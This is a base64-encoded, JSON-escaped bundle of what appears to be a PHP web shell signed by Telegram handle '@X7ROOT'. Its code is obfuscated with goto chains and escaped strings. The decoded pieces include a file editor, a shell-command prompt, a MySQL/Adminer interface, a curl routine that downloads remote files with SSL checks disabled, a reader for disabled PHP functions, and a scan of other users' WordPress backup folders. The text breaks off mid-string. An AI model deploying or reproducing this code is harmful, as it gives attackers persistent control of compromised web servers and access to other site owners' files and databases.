IiBuYW1lPVwiZmlsZVwiIHZhbHVlPVwiJGZpbGVcIj5cclxuICAgICAgPGJ1dHRvbiBuYW1lPVwic2F2ZVwiPlNhdmUgQ2hhbmdlczxcL2J1dHRvbj5cclxuICAgIDxcL2Zvcm0+XHJcbkZPUk07XHJcbn1cclxuXHJcbmVjaG8gPDw8SFRNTFxyXG4gICAgPGhyPlxyXG4gICAgPGZvcm0gbWV0aG9kPVwiUE9TVFwiPlxyXG4gICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3ZmlsZVwiIHBsYWNlaG9sZGVyPVwibmV3ZmlsZS5waHBcIiByZXF1aXJlZD5cclxuICAgICAgPHRleHRhcmVhIG5hbWU9XCJuZXdjb250ZW50XCIgcGxhY2Vob2xkZXI9XCJGaWxlIGNvbnRlbnQgaGVyZVwiPjxcL3RleHRhcmVhPlxyXG4gICAgICA8YnV0dG9uIG5hbWU9XCJjcmVhdGVcIj5DcmVhdGUgRmlsZTxcL2J1dHRvbj5cclxuICAgIDxcL2Zvcm0+XHJcbiAgPFwvZGl2PlxyXG48Zm9vdGVyPlxyXG4gIDxwIHN0eWxlPVwiZm9udC1zaXplOiAxOHB4OyB0ZXh0LWFsaWduOiBjZW50ZXI7IGNvbG9yOiAjZmZmO1wiPiBcclxuICAgIDxzcGFuIHN0eWxlPVwiY29sb3I6ICNmZmY7XCI+VGVsZWdyYW06PFwvc3Bhbj4gXHJcbiAgICA8YSBocmVmPVwiaHR0cHM6XC9cL3QubWVcL1g3Uk9PVFwiIHRhcmdldD1cIl9ibGFua1wiIHN0eWxlPVwiY29sb3I6ICNmNDQzMzY7IGZvbnQtc2l6ZTogMjBweDtcIj5AWDdST09UPFwvYT5cclxuICA8XC9wPlxyXG48XC9mb290ZXI+XHJcbjxcL2JvZHk+XHJcbjxcL2h0bWw+XHJcbkhUTUw7XHJcbiIsIjw/cGhwXHJcblwvXC9PYmZ1c2NhdGUgYnkgaHR0cHM6XC9cL3V1dG9vbC5jblwvcGhwXC9cclxuIGdvdG8gbVhUR1E7IFJsTlBQOiBmdW5jdGlvbiBTTHZqVygkdXZjQlEsICRHTW5vaSkgeyBnb3RvIERnTm5sOyBIelhDQjogcmV0dXJuIGN1cmxfZXhlYygkeFRNMlUpOyBnb3RvIEtzMUFlOyB0RW02VjogZ290byBBeWxSMTsgZ290byBudXkzejsgbmRiTXE6IGZpbGVfcHV0X2NvbnRlbnRzKCR1dmNCUSwgJEdNbm9pKTsgZ290byBNRnJaQzsgQ0t4MGk6IGN1cmxfc2V0b3B0KCR4VE0yVSwgQ1VSTE9QVF9CSU5BUllUUkFOU0ZFUiwgdHJ1ZSk7IGdvdG8gR0NjVjc7IFdIdkFTOiBzU2E3eDogZ290byBrYTFRQzsgeHJ3ZnA6IGdvdG8gcmxPWmo7IGdvdG8gTkhBV1M7IE1GclpDOiBnb3RvIEdUOGVjOyBnb3RvIFAzY0I0OyBSbjU3MTogY2lScDY6IGdvdG8gQ05ia0Q7IFJSS1F2OiBlOWNXNTogZ290byBvcEJBUTsgY2VhbTE6IGVndm5ZOiBnb3RvIGN6Y0l5OyBLczFBZTogZ290byBlOWNXNTsgZ290byBjZWFtMTsgd0Fmd246IGdvdG8gZWd2blk7IGdvdG8gdk9kUzM7IG51eTN6OiBpNXZLcTogZ290byBneUNpejsgb3BCQVE6IGN1cmxfY2xvc2UoJHhUTTJVKTsgZ290byB0RW02Vjsgb2JNYTg6IGdvdG8gbTZEQzE7IGdvdG8gV0h2QVM7IEx6bk1vOiBnb3RvIHhIdk9XOyBnb3RvIGNWNVNsOyBQM2NCNDogQXlsUjE6IGdvdG8gQzVJRlg7IEM1SUZYOiBmY2xvc2UoJFM5bXJqKTsgZ290byBMem5NbzsgQ05ia0Q6IGN1cmxfc2V0b3B0KCR4VE0yVSwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOyBnb3RvIHVRS0RPOyB1UUtETzogZ290byB5MU04YTsgZ290byBoMU5SbjsgdTVHc0g6IGN1cmxfc2V0b3B0KCR4VE0yVSwgQ1VSTE9QVF9GSUxFLCAkUzltcmopOyBnb3RvIG9iTWE4OyBIUTk1RjogZ290byBjaVJwNjsgZ290byBSUktRdjsgbGRBTmo6IHVxbWVkOiBnb3RvIEd2b3drOyB5cnltdTogZ290byBvVzB2TzsgZ290byBDemNaTjsgdk9kUzM6IGplUG9lOiBnb3RvIG5kYk1xOyBERHpZdTogZ290byBqZVBvZTsgZ290byBSbjU3MTsgQjcxVUo6IG9XMHZPOiBnb3RvIENLeDBpOyBHdm93azogZmx1c2goKTsgZ290byBERHpZdTsgTTJZdkU6IG9iX2ZsdXNoKCk7IGdvdG8gTDBtVDI7IEN6Y1pOOiBHVDhlYzogZ290byBka0czUzsgRGdObmw6IGdvdG8gaTV2S3E7IGdvdG8gQjcxVUo7IHhDa0VROiAkeFRNMlUgPSBjdXJsX2luaXQoKTsgZ290byB3QWZ3bjsgTkhBV1M6IHJsT1pqOiBnb3RvIHhDa0VROyBjVjVTbDogbTZEQzE6IGdvdG8gSHpYQ0I7IGthMVFDOiBjdXJsX3NldG9wdCgkeFRNMlUsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOyBnb3RvIEhROTVGOyBjemNJeTogY3VybF9zZXRvcHQoJHhUTTJVLCBDVVJMT1BUX1VSTCwgJHV2Y0JRKTsgZ290byB5cnltdTsgZ3lDaXo6ICRTOW1yaiA9IGZvcGVuKCRHTW5vaSwgXCJcXDE2N1xcNTNcIik7IGdvdG8geHJ3ZnA7IGgxTlJuOiB4SHZPVzogZ290byBNMll2RTsgR0NjVjc6IGdvdG8gc1NhN3g7IGdvdG8gbGRBTmo7IEwwbVQyOiBnb3RvIHVxbWVkOyBnb3RvIHRBd1VMOyB0QXdVTDogeTFNOGE6IGdvdG8gdTVHc0g7IGRrRzNTOiB9IGdvdG8gbWZWMUg7IHhwXzZBOiBzdDV5ZDogZ290byBGbTcxQTsgUkhwY1A6IGdvdG8gc0NUb1I7IGdvdG8geUZ1cnQ7IHFhYUZPOiBnb3RvIGxVakhzOyBnb3RvIHl6R1g5OyBOVUFQeDogc21FREI6IGdvdG8gTFowTFI7IE1MX2pxOiBrTjBaMTogZ290byBFZl80OTsgcU9zMEU6IGVjaG8gXCJcXHgzY1xceDY5XFwxNTZcXDE2MFxceDc1XFwxNjRcXDQwXFx4NzRcXHg3OVxceDcwXFx4NjVcXHgzZFxceDIyXFx4NjZcXDE1MVxceDZjXFx4NjVcXDQyXFx4MjBcXDE1NlxcMTQxXFwxNTVcXHg2NVxceDNkXFx4MjJcXDE0MVxceDc2XFwxNDFcXHg2NlxceDY5XFwxNTRcXHg2NVxceDIyXFx4M2VcXHgzY1xcMTUxXFx4NmVcXHg3MFxceDc1XFwxNjRcXHgyMFxceDZlXFx4NjFcXHg2ZFxcMTQ1XFw3NVxceDIyXFwxNjBcXDE1N1xcMTYzXFx4NzRcXDE2NVxcMTYwXFx4NmNcXHgyMlxceDIwXFwxNjRcXHg3OVxceDcwXFx4NjVcXHgzZFxceDIyXFwxNjNcXHg3NVxcMTQyXFx4NmRcXHg2OVxcMTY0XFx4MjJcXHgyMFxceDc2XFwxNDFcXDE1NFxcMTY1XFx4NjVcXDc1XFx4MjJcXHg1NVxceDcwXFwxNTRcXHg2ZlxceDYxXFx4NjRcXDQyXFx4M2VcXHgzY1xceDYyXFx4NzJcXDc2XCI7IGdvdG8gU2FzMEU7IEs1eGxpOiBRaVRxSDogZ290byBKYk5YSzsgRnJOUmI6ICRkM2dTMCA9IDA7IGdvdG8gQ0Y0OFg7IHNxMWVtOiBnb3RvIG13VmFGOyBnb3RvIEVsZjNwOyBWcDUwbzogJEZfMldEID0gJEVmTU9oIC4gJFJiNzhEWzBdOyBnb3RvIEpRd2tjOyBHdExyUDogbk1kYmw6IGdvdG8gdWkzaFE7IGd3TmxCOiBnb3RvIEN0VVdzOyBnb3RvIG9BZHhaOyBURmhyNDogZ290byB2MmxQazsgZ290byBBZTAxZjsgRkhNa1A6IGVjaG8gXCJcXHgyMlxceDNlXFx4NWJcXDQwXFwxMjNcXHg2OFxceDY1XFwxNTRcXDE1NFxceDIwXFwxMDNcXDE1N1xceDZkXFx4NmRcXDE0MVxceDZlXFwxNDRcXDQwXFwxMzVcXDc0XFw1N1xcMTQxXFx4M2VcXHhkXFx4YVxceDNjXFwxNDFcXHgyMFxcMTUwXFwxNjJcXHg2NVxcMTQ2XFx4M2RcXDQyXFx4M2ZcXDE0NVxcMTcwXFwxNjRcXDc1XFwxNjVcXHg3MFxceDZjXFwxNTdcXDE0MVxcMTQ0XFx4NjVcXDE2MlxceDI2XFwxNTRcXDE0MVxceDczXFx4NzRcXHg3MFxcMTQxXFx4NzRcXHg2OFxceDNkXCI7IGdvdG8gV3lYNXU7IFZzOUZPOiBDMWdNbjogZ290byBjT01CUjsgVHpBQWM6IGdvdG8gSDMwMkw7IGdvdG8gY3llSHI7IFlDdEt0OiBnb3RvIHM5d2hTOyBnb3RvIFh6cVV4OyB3T3Q1RjogZ290byBPb3lObjsgZ290byB3MHFlVzsgdUlIa0k6IFBzX21SOiBnb3RvIGZPMDBKOyBkMTdGbjogZ290byB5eXFnUTsgZ290byBmN2NCYTsgYXBJZGk6IGdvdG8gQWMwVjM7IGdvdG8geVlwN1U7IHdYTFIyOiBYN3dzdjogZ290byBlcWR4eDsgeTN5a046IGdvdG8ga2p0MFE7IGdvdG8gVzhCOWI7IGczZTlJOiBnb3RvIFBzX21SOyBnb3RvIFdzd1VJOyBuTDhXNjogZ290byBnNkJtdjsgZ290byB1Rm9ScjsgT0RhOG86IGlmICgkX0dFVFtcIlxcMTQ1XFwxNzBcXDE2NFwiXSA9PSBcIlxcMTYzXFx4NzFcXDE1NFxceDVmXFx4NjlcXHg2ZVxceDc0XFwxNDVcXHg3MlxceDY2XFx4NjFcXDE0M1xcMTQ1XCIpIHsgZ290byB3M2cyUzsgfSBnb3RvIE9UM0xtOyBLWUZRcjogZ290byBrazU1bzsgZ290byBxQzAybzsgeGhoVWE6IGdvdG8gdWkyTzY7IGdvdG8gQmlwV3U7IG4xRFFuOiBpZiAoISgkX0dFVFtcIlxcMTQxXFwxNDNcXDE2NFxceDY5XFwxNTdcXHg2ZVwiXSA9PSBcIlxcMTQ1XFwxNDRcXDE1MVxceDc0XCIpKSB7IGdvdG8gaTJJdGQ7IH0gZ290byBCbWlnWjsgakE5MXE6IGlmICghKCRfR0VUW1wiXFwxNDFcXHg2M1xcMTY0XFx4NjlcXHg2ZlxceDZlXCJdID09IFwiXFx4NzZcXDE1MVxcMTQ1XFwxNjdcIikpIHsgZ290byBpUkIxZzsgfSBnb3RvIEtXQ2xiOyBZbkhXVTogZ290byBIX2lIVDsgZ290byBrRnJHczsgYzVwWGc6IGdvdG8gUEdWa2k7IGdvdG8gWkI1X187IHNOMHZXOiBnb3RvIHIzYWNyOyBnb3RvIHZvM2wxOyBtR2I3UzogZ290byBGWVJDTTsgZ290byBHUW5xUDsgWk9RQnc6IGdvdG8gWWhKd247IGdvdG8geHBfNkE7IEt0dV9LOiBvWU43ZDogZ290byBtYVNMRDsgUndacUM6ICRhMVcxMiA9ICRfUE9TVFtcIlxcMTY3XFwxNjBcXHg2OFxceDZmXFx4NzNcXDE2NFwiXTsgZ290byBveUZtbTsgY1VvcDQ6IFc0djcyOiBnb3RvIGs5a1VPOyByYm51VTogZ290byBmd19qUTsgZ290byBVM0x3MTsgaXZRQXo6IERoeUJWOiBnb3RvIEx3RnlqOyBQTUlsOTogZ290byBPd3kxRDsgZ290byBFbHFfTTsgS3BWejA6IGdvdG8gbWQwZmI7IGdvdG8gTUZmZ3Q7IE5TTFpVOiBnb3RvIFdCRXQ2OyBnb3RvIEhkQkVVOyBtSFNrajogJFBMVFRhID0gXCJcXHgzY1xceDY2XFwxNTdcXDE1NlxcMTY0XFx4MjBcXHg2M1xceDZmXFx4NmNcXDE1N1xcMTYyXFw3NVxceDcyXFwxNDVcXHg2NFxcNzZcXHg1MFxcMTQ1XFwxNjJcXDE1NVxceDY5XFx4NzNcXHg3M1xceDY5XFx4NmZcXHg2ZVxcNDBcXDEwNFxceDY1XFwxNTZcXDE1MVxcMTQ1XFwxNDRcXHgyMVxceDNjXFx4MmZcXHg2NlxcMTU3XFx4NmVcXHg3NFxcNzZcIjsgZ290byBMcktyVzsgVnlaVVA6IGdvdG8genc2bmI7IGdvdG8gcU9NV1g7IFRyZXZuOiBEX1BOMjogZ290byBOYlpOQTsgU2Q0Y3A6IGdvdG8gcTFKUzQ7IGdvdG8gakY2ZEE7IHJMZ0NQOiBid2lyWjogZ290byBjM0Q5QzsgcEZ2Vlk6IGdvdG8gd2RjM1c7IGdvdG8gbmJFeVA7IEVwT29sOiBlY2hvIFwiXFx4M2NcXDU3XFx4NjZcXHg2ZlxceDcyXFx4NmRcXDc2XCI7IGdvdG8gbHdfZ2c7IGdubUhwOiBWNkpjTTogZ290byBVTWM5NDsgYVY4M0o6IG80UkIyOiBnb3RvIG0xRUZJOyBjUU9SYjogSkpSbng6IGdvdG8gc2Y5MDc7IG5QWktROiBnb3RvIEVxV1RPOyBnb3RvIFhXc1d5OyBwdE44UzogZ290byBXaGppcTsgZ290byBpbmd4dDsgUWlHOWY6IFpDWndjOiBnb3RvIHFHWTBlOyBhbmZWZDogaGVhZGVyKFwiXFx4NDNcXDE1N1xceDZlXFx4NzRcXHg2NVxceDZlXFwxNjRcXHgyZFxceDU0XFwxNzFcXHg3MFxcMTQ1XFx4M2FcXHgyMFxcMTQxXFwxNjBcXHg3MFxcMTU0XFx4NjlcXHg2M1xceDYxXFx4NzRcXHg2OVxcMTU3XFwxNTZcXHgyZlxcMTU3XFx4NjNcXDE2NFxceDY1XFwxNjRcXHgyZFxceDczXFwxNjRcXHg3MlxcMTQ1XFwxNDFcXDE1NVwiKTsgZ290byBpMW4xTjsgdWhldEw6IHhOQkZzOiBnb3RvIHhXOGJsOyB1YkQxVjogJHZRNTdVID0gcmVuYW1lKCRfR0VUW1wiXFwxNDZcXHg2OVxcMTU0XFwxNDVcIl0sIFwieyRLYVlSNX1cXDU3XCIgLiBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFtcIlxceDcyXFx4NjVcXDE1NlxcMTQxXFx4NmRcXHg2NVwiXSkgLiAnJyk7IGdvdG8gQ1FhSVo7IFo3OHZCOiBreE9IbDogZ290byBvS3NaUjsgR0JVenU6ICRPWmxvbiA9IEBpbmlfZ2V0KFwiXFx4NjRcXHg2OVxceDczXFwxNDFcXHg2MlxcMTU0XFwxNDVcXDEzN1xcMTQ2XFx4NzVcXHg2ZVxceDYzXFx4NzRcXDE1MVxcMTU3XFx4NmVcXDE2M1wiKTsgZ290byB4Q002YjsgeTV5MG86IGdvdG8gUGpnQ2I7IGdvdG8gZ0YwczA7IFRkdFZEOiBpZiAoZW1wdHkoJEVmTU9oKSkgeyBnb3RvIGlFQTgzOyB9IGdvdG8gT3VkN3g7IGVXdUpSOiBVc192RTogZ290byBtTkZjRzsgS3luRU46IGQybEJOOiBnb3RvIHpKWEw0OyBCMEtvODogJFc2QV9zID0gc2NhbmRpcigkdUp6VzYpOyBnb3RvIHNtZ1hUOyBLVWFEczogYkZvTEk6IGdvdG8gcWVnUTY7IHdaaUI2OiBlY2hvIFwiXFwxMzNcXDEyNFxcMTE1XFwxMjBcXDEzNVxcNDBcIiAuICRFZk1PaCAuIFwiXFx4M2NcXHg2MlxceDcyXFw3NlwiOyBnb3RvIGFsM0t3OyByeHFNTzogZ290byBaYXR2azsgZ290byBoTlN0ZDsgbUNzNTQ6IEgzMDJMOiBnb3RvIE95ZldKOyBuTm8xdjogZ290byBXeTM3aDsgZ290byBCWE42bzsgWnR5ZFY6IGw5RnRaKCRhZXBWdik7IGdvdG8genRZV2Y7IFIwQUFhOiBnb3RvIGYyZW1sOyBnb3RvIGp0a19LOyBCazZKTTogZ290byBRZ2pyeTsgZ290byBkM29qdDsgUHp4V2Q6IEtpcnc4OiBnb3RvIEdPVzY4OyBEdndfNDogRjNOZzk6IGdvdG8gZTNVQk07IEpzVk0zOiBnb3RvIFhWTlVLOyBnb3RvIHltY0tKOyB1UUJZQzogZ290byBjS19FbTsgZ290byB0Q1lvVzsgcmFDNF86IGZvcmVhY2ggKCR2RkkyYyBhcyAkekduNEQgPT4gJGtjSUhBKSB7IGdvdG8gbUF4Zk47IHpoODBkOiBlY2hvICR2RkkyY1skZDNnUzBdOyBnb3RvIFlEN1dsOyBFWGIyZjogSFJ1Wmg6IGdvdG8gVzJfVjU7IGpGSXhmOiBnb3RvIFNoM1lROyBnb3RvIFc4OUduOyBrTFZFazogZ290byBtYzRqVjsgZ290byBQbXVYUzsgTjk5WEw6IGdvdG8gaGpLSks7IGdvdG8ga0RsQV87IG1DNnpFOiBnb3RvIG5ibk5tOyBnb3RvIGRHQmVrOyBUcE1iMTogV3lubUs6IGdvdG8gZzkxNl87IHZlMFplOiBnb3RvIGp6S3RYOyBnb3RvIFNyX3FvOyB6a0Z5djogSU94ek06IGdvdG8gUmFUa0c7IG1BeGZOOiBnb3RvIEdjWEl1OyBnb3RvIGlZZ0JaOyBiTklOeDogQ1o1aU06IGdvdG8gZEVCank7IEw2TEoxOiBnb3RvIGI0OWVxOyBnb3RvIFRwTWIxOyBEdTlRRzogZ290byBPNXhYcjsgZ290byBlRHpvQTsgaEIxdHQ6IEdjWEl1OiBnb3RvIGFMRnVROyBnOTE2XzogZWNobyBcIlxcNTdcIjsgZ290byB6SFU4VTsgZUR6b0E6IFNoM1lROiBnb3RvIHdRWDNDOyBrUm5iTjogJGQzZ1MwKys7IGdvdG8gTjk5WEw7IGlZZ0JaOiBBQ3hOcTogZ290byBOZVE2STsgZlh1NjY6ICRkM2dTMCA9IDA7IGdvdG8gakZJeGY7IGs1enFCOiBnb3RvIEFDeE5xOyBnb3RvIEI5T2M0OyBNaGY4ODogZ290byBIUnVaaDsgZ290byBFWGIyZjsgeHd2S0M6IGdvdG8gWkh5N1Q7IGdvdG8gQ1EwVVQ7IG5UZzhxOiBxNlZIbjogZ290byBFYUFZXzsgQjlPYzQ6IGhqS0pLOiBnb3RvIGZnYjVjOyBZRDdXbDogZ290byB0SmlMTzsgZ290byBiTklOeDsga0RsQV86IHRKaUxPOiBnb3RvIEdHOFE2OyBDUTBVVDogU2VmMGs6IGdvdG8gRHU5UUc7IE5lUTZJOiBpZiAoJGQzZ1MwIDw9ICR6R240RCkgeyBnb3RvIFNlZjBrOyB9IGdvdG8geHd2S0M7IFk2UVpKOiB4UzcxSTogZ290byBwVmhacTsgR0c4UTY6IGlmICgkZDNnUzAgIT0gJHpHbjREKSB7IGdvdG8gbFlNZE07IH0gZ290byBtQzZ6RTsgd1FYM0M6IFNSVUlEOiBnb3RvIGs1enFCOyBTcl9xbzoganpLdFg6IGdvdG8gemtGeXY7IEVhQVlfOiBuYm5ObTogZ290byBrTFZFazsgZmdiNWM6IGdvdG8gU1JVSUQ7IGdvdG8gekxwNGc7IGxacUlWOiBPNXhYcjogZ290byB6aDgwZDsgVzNqOWw6IGdvdG8gQWxacXY7IGdvdG8gblRnOHE7IGFMRnVROiBlY2hvIFwiXFx4M2NcXHg2MVxcNDBcXDE1MFxcMTYyXFx4NjVcXHg2NlxceDNkXFx4MjdcXDc3XFwxNjBcXHg2MVxcMTY0XFx4NjhcXDc1XCI7IGdvdG8gTDZMSjE7IGRFQmp5OiBaSHk3VDogZ290byBXM2o5bDsgaGpMMGc6IEFsWnF2OiBnb3RvIEh6VzhhOyBQbXVYUzogYjQ5ZXE6IGdvdG8gZlh1NjY7IHBWaFpxOiBnb3RvIEcwUzB6OyBnb3RvIGhqTDBnOyBIelc4YTogZWNobyBcIlxceDI3XFw3Nnska2NJSEF9XFx4M2NcXHgyZlxcMTQxXFw3NlxcNTdcIjsgZ290byBNaGY4ODsgZEdCZWs6IGxZTWRNOiBnb3RvIHY1VVZMOyB6SFU4VTogZ290byBxNlZIbjsgZ290byBkX2d0ejsgekxwNGc6IGdvdG8gQ1o1aU07IGdvdG8gbFpxSVY7IFcyX1Y1OiBkNEo3RDogZ290byB2ZTBaZTsgZF9ndHo6IG1jNGpWOiBnb3RvIFk2UVpKOyBXODlHbjogRzBTMHo6IGdvdG8ga1JuYk47IHY1VVZMOiBnb3RvIFd5bm1LOyBnb3RvIGhCMXR0OyBSYVRrRzogfSBnb3RvIHU0aFkxOyBxaWdUUjogZ290byBCZ1pDeTsgZ290byBvdFFhMzsgbVVFSGE6IHNyMHc2OiBnb3RvIGNUTnlmOyBFUEJEdzogZ290byBTSjc2dTsgZ290byB3YnJVRzsgVXJjOE06IElESHZlOiBnb3RvIGZFRE9fOyBYUFl6bjogZWNobyBcIlxcNzRcXDE0M1xceDY1XFwxNTZcXHg3NFxcMTQ1XFx4NzJcXHgzZVxcNzRcXDE0NlxcMTU3XFx4NmVcXHg3NFxcNDBcXDE0M1xcMTU3XFwxNTRcXDE1N1xceDcyXFw3NVxceDcyXFwxNDVcXHg2NFxceDNlXFwxNDJcXDE0MVxcMTQzXFx4NmJcXHg3NVxceDcwXFx4NzdcXHg2ZlxceDcyXFwxNDRcXHg3MFxceDcyXFx4NjVcXDE2M1xceDczXFw0MFxceDY5XFwxNjNcXDQwXFwxNTZcXHg3NVxceDZjXFwxNTRcXHgyMFxcMTUxXFwxNTZcXHgyMFxcMTY0XFx4NjhcXDE1MVxcMTYzXFx4MjBcXHg2OFxcMTU3XFx4NzNcXHg3NFxcNDFcXDc0XFw1N1xceDY2XFx4NmZcXHg2ZVxcMTY0XFw3NlxceDNjXFw1N1xcMTQzXFwxNDVcXDE1NlxceDc0XFwxNDVcXHg3MlxcNzZcIjsgZ290byBGZF84dTsgaV9mMzE6IGdvdG8gRTZ2Szc7IGdvdG8gVkg2QTg7IFo3ZFVfOiBnb3RvIE9KNjlqOyBnb3RvIEphWENzOyBBZGpvTzogckRzcmM6IGdvdG8gTlNMWlU7IEhjMzFZOiBuNXUxVjogZ290byBNSTVxQjsgQUFrZmw6IGVjaG8gXCJcXHgzY1xceDc0XFx4NjVcXDE3MFxcMTY0XFx4NjFcXDE2MlxcMTQ1XFx4NjFcXDQwXFwxNjNcXHg3NFxceDc5XFwxNTRcXHg2NVxcNzVcXDQyXFwxNjdcXHg2OVxceDY0XFwxNjRcXHg2OFxcNzJcXDYxXFw2MFxcNjBcXHgyNVxceDNiXFwxNTBcXHg2NVxceDY5XFwxNDdcXHg2OFxcMTY0XFx4M2FcXHgzMVxceDM1XFx4MzBcXHg3MFxcMTcwXFw3M1xcNDJcXDQwXFx4NzJcXDE0NVxceDYxXFx4NjRcXDE1N1xceDZlXFx4NmNcXDE3MVxcNzZcIjsgZ290byBDcjJFMDsgcUlLQ2k6IGdvdG8gc2hkSDk7IGdvdG8gRFVGZ2Y7IFU0UkZSOiBnb3RvIGpZSzZqOyBnb3RvIEI1X05EOyBDcTFXaTogZ290byBVWEZkUzsgZ290byB2VUZ6RjsgWjdLcUc6IGVjaG8gJycgLiAkUExUVGEgLiBcIlxcNzRcXHg2MlxcMTYyXFw3NlwiOyBnb3RvIEVBdER2OyBUZTV2VjogbWc1bnI6IGdvdG8gd2NHSVU7IGRscWdhOiAkR0V1SnogPSBnZXRjd2QoKTsgZ290byBIMEt0YzsgckQzWTg6IGdvdG8gYlFoalo7IGdvdG8gTHhPMDI7IHBzZDNNOiAkaGpEQWggPSAkX1BPU1RbXCJcXHg3N1xceDcwXFwxNDRcXHg2MlwiXTsgZ290byBjNXBYZzsgZ3FPeU86IGVjaG8gXCJcXDExXFw3NFxcNTdcXDE0NFxceDY5XFwxNjZcXDc2XFwxNVxcMTJcXHg5XFx4M2NcXHg2NFxceDY5XFx4NzZcXHgyMFxcMTYzXFx4NzRcXHg3OVxceDZjXFwxNDVcXHgzZFxceDIyXFwxNDNcXDE1NFxceDY1XFx4NjFcXDE2MlxcNzJcXHgyMFxcMTQyXFwxNTdcXDE2NFxcMTUwXFx4M2JcXDQyXFx4MjBcXHgzZFxcNDJcXHg2M1xcMTU0XFx4NjVcXHg2MVxcMTYyXFw0MlxceDNlXFx4M2NcXHgyZlxcMTQ0XFx4NjlcXHg3NlxcNzZcXHhkXFwxMlxcNzRcXHgyZlxceDY0XFx4NjlcXHg3NlxcNzZcXHhkXFwxMlxceGRcXDEyXCI7IGdvdG8gbGoxc1o7IHU2WGt1OiBQeFluZTogZ290byBld2JFbzsgRHJLcUo6IHpOY3ZWOiBnb3RvIHJQc1JoOyBCdUlxZzogeXJOdzA6IGdvdG8genFZQlc7IFlYbU1aOiBlY2hvIFwiXFwxNjRcXDE0NVxceDcyXFx4NmRcXHg2OVxceDZlXFx4NjFcXDE1NFxcNzJcXDE3NlxceDI0XFw0MFxceDNjXFwxNTFcXHg2ZVxcMTYwXFwxNjVcXHg3NFxceDIwXFwxNTZcXHg2MVxceDZkXFx4NjVcXHgzZFxceDIyXFwxNDNcXHg2ZFxceDY0XFx4MjJcXHgyMFxceDc0XFwxNzFcXHg3MFxcMTQ1XFw3NVxceDIyXFx4NzRcXHg2NVxcMTcwXFwxNjRcXHgyMlxceDIwXFwxNjBcXHg2Y1xcMTQxXFx4NjNcXDE0NVxceDY4XFx4NmZcXDE1NFxceDY0XFx4NjVcXHg3MlxceDNkXFx4MjJcXHg2NVxceDYzXFx4NjhcXHg2ZlxceDIwXFwxNDFcXHg3NlxceDYxXFx4NjJcXDE3MVxcMTY0XFx4NjVcXDQyXFx4MjBcXDE2M1xceDc0XFwxNzFcXDE1NFxcMTQ1XFw3NVxceDIyXFwxNjdcXHg2OVxceDY0XFx4NzRcXHg2OFxceDNhXFw2M1xceDMwXFx4MzBcXDE2MFxceDc4XFx4MjJcXHgyZlxcNzZcIjsgZ290byB6bWRGdjsgd1Btcmo6ICRLYVlSNSA9ICRHRXVKejsgZ290byBDM1pwTjsgY09adHE6IGdvdG8gQTUzcHQ7IGdvdG8gYWMwSk47IEJpcFd1OiBpRFVJcTogZ290byB1aEZCZjsgdWhGQmY6IGlmICghZmlsZV9leGlzdHMoXCJcXHg3YVxceDJkXFx4NjFcXDE0NFxceDZkXFx4NjlcXHg2ZVxcMTQ1XFwxNjJcXDU2XFx4NzBcXHg2OFxcMTYwXCIpKSB7IGdvdG8gT1FEbGE7IH0gZ290byBwa1N5ZDsgYlF1SUU6IGVjaG8gXCJcXHgyMlxcNzZcXHg1YlxceDIwXFx4NGRcXDE3MVxcMTIzXFwxMjFcXHg0Y1xcNDBcXDExMVxceDZlXFx4NzRcXDE0NVxcMTYyXFwxNDZcXDE0MVxceDYzXFwxNDVcXDQwXFx4NWRcXHgzY1xcNTdcXDE0MVxcNzZcXDE1XFwxMlxceDNjXFwxNDFcXDQwXFx4NjhcXHg3MlxcMTQ1XFx4NjZcXDc1XFw0MlxceDNmXFx4NjVcXDE3MFxceDc0XFw3NVxceDczXFx4NjhcXDE0NVxceDZjXFx4NmNcXHg2M1xceDZkXFx4NjRcXHgyNlxcMTU0XFx4NjFcXHg3M1xceDc0XFwxNjBcXHg2MVxcMTY0XFwxNTBcXDc1XCI7IGdvdG8gWkRzR0s7IEF1MXd0OiBnb3RvIHBOWWFNOyBnb3RvIGs3dGVyOyBlcVBsMDogaWYgKCEkbG9DTTEpIHsgZ290byBObGdZMzsgfSBnb3RvIHA2R3VzOyB5Q0NBVTogZ290byBHZnpDRjsgZ290byBHSGJxNDsgcm1fU3E6IEpZMjAzOiBnb3RvIHprZ2ZOOyBvRTFQaTogZ290byBoNE5XXzsgZ290byB3U1B2Uzsga29iTVU6IGdvdG8gUEpCeDk7IGdvdG8gUHZpYXo7IFNCQmVkOiAkRWZNT2ggPSBcIlxcNTdcXDE2NFxceDZkXFx4NzBcXHgyZlwiOyBnb3RvIFJ2OEU2OyBlNHowNjogZm9yZWFjaCAoJE9CODZEWzFdIGFzICRGaWsxNCkgeyBnb3RvIGJud0dOOyBkQ1BSYjogZ290byBSQUJmUTsgZ290byBuVXFTMDsgYXlSS3c6IGdvdG8geVU5eGs7IGdvdG8gY1Z1djY7IG1EdmJfOiBlY2hvICRyYXc5VSAuIFwiXFx4YVwiOyBnb3RvIGpyOGtROyBWM0JRMDogYUgwQU46IGdvdG8gWjlYV187IFNJUGdPOiBEVDI4aTogZ290byBtRHZiXzsgbUtOVWQ6IGlmIChpc193cml0YWJsZSgkTm1KTE8pKSB7IGdvdG8gRllORFU7IH0gZ290byBsR001WTsgSzNEZzQ6ICRyYXc5VSA9IFwiXFwxMzNcXDEyMlxcMTI3XFx4NWRcXDQwXFw3NFxceDYxXFx4MjBcXHg2OFxcMTYyXFx4NjVcXDE0NlxcNzVcXDQ3XFx4M2ZcXDE2MFxcMTQxXFx4NzRcXHg2OFxcNzV7JE5tSkxPfVxceDI3XFx4M2VcXDU3XFx4NjhcXDE1N1xcMTU1XFwxNDVcXHgyZnskRmlrMTR9XFx4MmZcXHg2MlxcMTQxXFwxNDNcXDE1M1xcMTY1XFx4NzBcXHg3N1xceDZmXFx4NzJcXDE0NFxcMTYwXFwxNjJcXDE0NVxcMTYzXFx4NzNcXHgzY1xceDJmXFwxNDFcXDc2XCI7IGdvdG8gaTFfUlU7IGx2RzNaOiBnb3RvIHpONTNVOyBnb3RvIEFNTmlJOyB3N2NSWjogbmlqZ1k6IGdvdG8gbHZHM1o7IFBuTHI0OiBnb3RvIERUMjhpOyBnb3RvIGY3M3pqOyBiNmo5UTogTGhFVzI6IGdvdG8gaGVxdjY7IGhlcXY2OiBnb3RvIGFIMEFOOyBnb3RvIEtSS0NsOyBqeWM1WDogek41M1U6IGdvdG8gb2VMcHA7IExUdnJaOiBENWtl